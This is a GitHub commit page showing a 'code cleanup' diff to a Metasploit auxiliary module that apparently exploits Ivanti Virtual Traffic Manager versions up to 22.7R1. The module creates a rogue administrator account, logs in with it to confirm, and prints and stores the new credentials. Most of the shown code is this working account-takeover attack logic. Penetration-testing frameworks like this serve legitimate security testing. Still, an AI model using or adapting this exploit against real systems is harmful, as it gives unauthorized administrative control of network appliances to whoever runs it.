Skip to content

Commit 82f51bb

Browse files
committed
code cleanup
code cleanup
1 parent 947cefe commit 82f51bb

File tree

1 file changed

+29
-32
lines changed

1 file changed

+29
-32
lines changed

modules/auxiliary/admin/http/ivanti_vtm_admin.rb

Lines changed: 29 additions & 32 deletions
Original file line numberDiff line numberDiff line change
@@ -39,7 +39,7 @@ def initialize(info = {})
3939

4040
register_options([
4141
OptString.new('TARGETURI', [true, 'Base path', '/']),
42-
OptString.new('NEW_USERNAME', [true, 'Username to be used when creating a new user with admin privileges', Faker::Internet.username.gsub('.', '_')]),
42+
OptString.new('NEW_USERNAME', [true, 'Username to be used when creating a new user with admin privileges', Faker::Internet.username.gsub(/[^a-zA-Z0-9_-]/, '_')]),
4343
OptString.new('NEW_PASSWORD', [true, 'Password to be used when creating a new user with admin privileges', Rex::Text.rand_text_alpha(12)]),
4444
])
4545
end
@@ -59,7 +59,7 @@ def check
5959
match = body.match(version_regex)
6060
if match
6161
version = match[1]
62-
return Exploit::CheckCode::Appears("Version: #{version}") if version <= Rex::Version.new('22.7R1')
62+
return Exploit::CheckCode::Appears("Version: #{version}") if Rex::Version.new(version) <= Rex::Version.new('22.7R1')
6363
else
6464
return Exploit::CheckCode::Safe
6565
end
@@ -88,40 +88,37 @@ def run
8888
html = res.get_html_document
8989
title_tag = html.at_css('title')
9090

91-
if title_tag
92-
title_text = title_tag.text.strip
93-
if title_text == '2'
94-
print_status('Request to add new admin user sent, verifying...')
91+
fail_with(Failure::UnexpectedReply, 'title tag not found.') unless title_tag
92+
title_text = title_tag.text.strip
93+
if title_text == '2'
94+
print_status('Request to add new admin user sent, verifying...')
9595

96-
form = Rex::MIME::Message.new
97-
form.add_part('form', nil, nil, 'form-data; name="_form_submitted"')
98-
form.add_part(datastore['NEW_USERNAME'], nil, nil, 'form-data; name="form_username"')
99-
form.add_part(datastore['NEW_PASSWORD'], nil, nil, 'form-data; name="form_password"')
100-
form.add_part('Login', nil, nil, 'form-data; name="form_submit"')
96+
form = Rex::MIME::Message.new
97+
form.add_part('form', nil, nil, 'form-data; name="_form_submitted"')
98+
form.add_part(datastore['NEW_USERNAME'], nil, nil, 'form-data; name="form_username"')
99+
form.add_part(datastore['NEW_PASSWORD'], nil, nil, 'form-data; name="form_password"')
100+
form.add_part('Login', nil, nil, 'form-data; name="form_submit"')
101101

102-
res = send_request_cgi(
103-
{
104-
'method' => 'POST',
105-
'uri' => normalize_uri(target_uri.path, 'apps', 'zxtm', 'login.cgi'),
106-
'ctype' => "multipart/form-data; boundary=#{form.bound}",
107-
'data' => form.to_s
108-
}
109-
)
110-
if res && res.code == 302 && res.get_cookies.include?('ZeusTMZAUTH_')
111-
store_valid_credential(user: datastore['NEW_USERNAME'], private: datastore['NEW_PASSWORD'], proof: html)
112-
print_good("New admin user was successfully added:\n\t#{datastore['NEW_USERNAME']}:#{datastore['NEW_PASSWORD']}")
113-
print_good("Login at: https://#{datastore['RHOSTS']}:#{datastore['RPORT']}#{datastore['TARGETURI']}apps/zxtm/login.cgi")
114-
end
115-
116-
elsif title_text == '0' && html.to_s.include?('ERROR: Specified user already exists')
117-
fail_with(Failure::BadConfig, "Specified user already exists. Specify a different user name with 'set NEW_USERNAME <USER>'.")
118-
elsif title_text == '0' && html.to_s.include?('ERROR: Username must contain only: letters, numbers,')
119-
fail_with(Failure::BadConfig, "Specified username is invalid. Username must contain only letters, numbers, underscores (_), and hyphens (-). Specify a different user name with 'set NEW_USERNAME <USER>'.")
120-
else
121-
fail_with(Failure::NotVulnerable, 'Unexpected string found inside the title tag: ' + title_text)
102+
res = send_request_cgi(
103+
{
104+
'method' => 'POST',
105+
'uri' => normalize_uri(target_uri.path, 'apps', 'zxtm', 'login.cgi'),
106+
'ctype' => "multipart/form-data; boundary=#{form.bound}",
107+
'data' => form.to_s
108+
}
109+
)
110+
if res && res.code == 302 && res.get_cookies.include?('ZeusTMZAUTH_')
111+
store_valid_credential(user: datastore['NEW_USERNAME'], private: datastore['NEW_PASSWORD'], proof: html)
112+
print_good("New admin user was successfully added:\n\t#{datastore['NEW_USERNAME']}:#{datastore['NEW_PASSWORD']}")
113+
print_good("Login at: #{full_uri(normalize_uri(target_uri, 'apps/zxtm/login.cgi'))}")
122114
end
115+
116+
elsif title_text == '0' && html.to_s.include?('ERROR: Specified user already exists')
117+
fail_with(Failure::BadConfig, "Specified user already exists. Specify a different user name with 'set NEW_USERNAME <USER>'.")
118+
elsif title_text == '0' && html.to_s.include?('ERROR: Username must contain only: letters, numbers,')
119+
fail_with(Failure::BadConfig, "Specified username is invalid. Username must contain only letters, numbers, underscores (_), and hyphens (-). Specify a different user name with 'set NEW_USERNAME <USER>'.")
123120
else
124-
fail_with(Failure::UnexpectedReply, 'title tag not found.')
121+
fail_with(Failure::NotVulnerable, 'Unexpected string found inside the title tag: ' + title_text)
125122
end
126123
end
127124
end

0 commit comments

Comments
 (0)